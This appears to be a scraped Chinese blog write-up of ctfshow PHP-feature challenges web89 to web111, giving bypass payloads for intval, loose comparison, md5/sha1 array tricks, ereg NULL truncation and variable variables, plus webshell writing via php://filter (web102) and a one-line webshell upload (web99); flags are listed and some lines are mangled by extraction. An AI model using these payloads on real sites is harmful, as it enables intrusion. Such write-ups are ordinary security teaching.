admin 管理员组

文章数量: 886992

ctfshow php特性

web89


要求使用get方式传递数据,intval函数如果数组里有值,就输出1,构造payload ?num[]=0

web90


这里使用了 intval($num, 0) 函数调用,其中第二个参数为 0,表示使用合适的进制进行转换。intval() 函数会尝试根据字符串的前缀或者数字系统选择合适的进制进行转换。例如,如果 $num 是一个以 “0x” 开头的字符串,那么它将被解析为十六进制数。构造八进制payload
?num =010546

web91

首先,使用 preg_match(‘/^php$/im’, a ) 进行匹配,其中 / p h p a) 进行匹配,其中 /^php a)进行匹配,其中/php/ 是正则表达式模式,i 修饰符表示大小写不敏感,m 修饰符表示多行匹配。如果匹配成功,则进入第一个 if 语句块。

构造payload ?cmd=%0aphp

web92


刚开始感觉这题和90题一样,其实还是不同的。intval( n u m , 0 ) = = 4476 和 i n t v a l ( num, 0) == 4476 和 intval( num,0)==4476和intval(num, 0) === 4476 的区别在于比较的方式。
两个=是松散相等运算符,在比较之前会尝试进行类型转换。如果两个操作数的值相等,但类型不同,它们可能会被视为相等。例如,字符串 “4476” 和整数 4476 在松散相等比较中会被认为是相等的。
三个=是严格相等运算符,要求比较的操作数不仅值相等,而且类型也要相等。只有值和类型都相等时,比较结果才会为真。
payload ?num=010574

web93


这题只过滤了十六进制编码,对八进制完全没有过滤,payload同上 ?num=010574

web94


这题只要开头数字是0就不行,把八进制限制了,num===4476是强类型转换,4476.0!=4476,成功绕过
payload=?num=4476.0

web95


这里把上面用的4476.0过滤了,使用+代替空格绕过
payload ?num=+010574

web96


报错查看文件路径

使用payload ?num=/var/www/html/flag.php或者./flag.php,./代表当前目录

web97

md5弱类型比较可以直接数组绕过,其结果都会转换为null

a[]=1&b[]=2

如果进行了string强制转类型后,则不再接受数组
弱碰撞:

$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
payload: a=QNKCDZO&b=240610708

强碰撞:

$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}
这时候需要找到两个真正的md5值相同数据
![在这里插入图片描述](.png)
# web98
![在这里插入图片描述](.png)
这里使用三元运算符,要求get和post一起传flag,构造payload HTTP_FLAG=flag
![在这里插入图片描述](.png)# web99
![在这里插入图片描述](.png)
分析代码逻辑,n最好是1-36,可以使用1.php代替1以content提交木马
![在这里插入图片描述](.png)上传一句话木马
![在这里插入图片描述](.png)
找到flag
![在这里插入图片描述](.png)
哥斯拉连接得到flag
ctfshow{cab107c6-a7ae-4ec3-8478-e36cd3afc53d}# web100
![在这里插入图片描述](.png)
![在这里插入图片描述](.png)
payload ?v1=1&v2=var_dump($ctfshow)&v3=;
=优先级大于and,v0接收的值是v1的,保证v1=1为true,var_dump($ctfshow)查看类型# web101
![在这里插入图片描述](.png)
这里应用了反射的概念,构造payload ?v1=1&v2=echo new ReflectionClass&v3=;# web102
这题借鉴一下别人的payload
POST方式提交v1参数,GET方式去提交v2和v3。
substr()函数:用来返回某个字符串的子串。例如v2=123456789,则上面的代码返回3456789
call_user_func()第一个参数代表着函数的名,第二个参数代表着传入函数的中参数。返回调用函数后的结果。
file_put_contents():将参数二的内容写入到参数一中。
该题目的思路就是通过调用hex2bin函数,将我们传入的十六进制内容解码为ASCII码,传入的参数可以通过base64编码,再转换为16进制,那么call_user_func函数返回的结果就是base64编码之后的结果,之后可以使用php://filter伪协议将内容再经过base64解码,存放到某个文件中。
由于要经过is_numeric()函数的检测,所以传入的参数的值要求是数字串。<?php
$a='<?=`cat *`;';
$b=base64-encode($a);//PD89YGNhdCAqYDs=
$c=bin2hex($b);//把base64编码之后的=去掉,再转换为16进制,结果是一样的
echo $c;//5044383959474e6864434171594473 结果中存在着e 会被当做是科学计数法
?>
payload:get:?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.phppost : v1=hex2bin
————————————————
版权声明:本文为CSDN博主「YAy17」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:
![在这里插入图片描述](.png)
访问1.php查看源代码获得flag
![在这里插入图片描述](.png)
ctfshow{fc10f7ab-1391-46a6-9ede-f638b22174dc}
# web103
这题增加了对str的过滤,可以使用上题的解题过程解决
ctfshow{3ca1c134-1f35-449a-ae6d-214cb8210edd}
# web104
![在这里插入图片描述](.png)
这题利用sha1不能处理数组,构造payload v1[]=1 v2[]=2
ctfshow{dde133a7-d757-42d3-be32-1f31bb573617}# web105
![在这里插入图片描述](.png)
第一个要求键不为error,第二个要求值不为flag,构造payload ?suces=flag error=suces
使$suces=$error=$flag,ctfshow{10718139-e719-46a8-b7b3-503503173fb2}#  web106
![在这里插入图片描述](.png)
这题和前面那题的逻辑一样,利用sha1不能处理数组,构造payload v1[]=1 v2[]=2,也提示前面其实可以利用v1=v2绕过
ctfshow{c012ef6b-5406-4d8f-bc0b-d33a3847a215}
# web107
![在这里插入图片描述](.png)
弱类型碰撞
payload: v1[]=1 v2[]=2 ctfshow{3cf797c8-aa76-43ab-8d9d-1ff7884cdfc2}
# web108
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
ereg()只能处理字符串的,遇到数组做参数返回NULL,判断用的是 === ,要求类型也相同,而NULL跟FALSE类型是不同的,也可以绕过第一个if的判断。但是我们GET传入的参数还需要经过strrev函数(反转函数),以及将反转后的值转换为整数。
0x36d十六进制转换为十进制为877,构造payload: ?c=a%00778
![在这里插入图片描述](.png)
ctfshow{1b8bac72-0a11-4d2b-8133-c9b90762997b}
# web109
![在这里插入图片描述](.png)![在这里插入图片描述](.png)
v1只要不报错即可,ctfshow{8beb2501-c90a-4edd-9a37-80010e6a2ab2}
# web110
参考别人的payload
可以使用FilesystemIterator文件系统迭代器来进行利用,通过新建FilesystemIterator,使用getcwd()来显示当前目录下的文件结构
![在这里插入图片描述](.png)
![在这里插入图片描述](.png)
ctfshow{6aebe4f5-b1f3-4e73-9a9e-d44d876b442a}
# web111
这里还是对v1和v2进行了正则的过滤,然后如果$v1有ctfshow,会进入getFlag函数然后会执行$ctfshow = $$v2这里用全局变量GLOBALS,payload ?v1=ctfshowweb&v2=GLOBALS
![在这里插入图片描述](.png)
ctfshow{d13b59eb-9548-4da7-921e-fccd9c848f8c}

本文标签: ctfshow php特性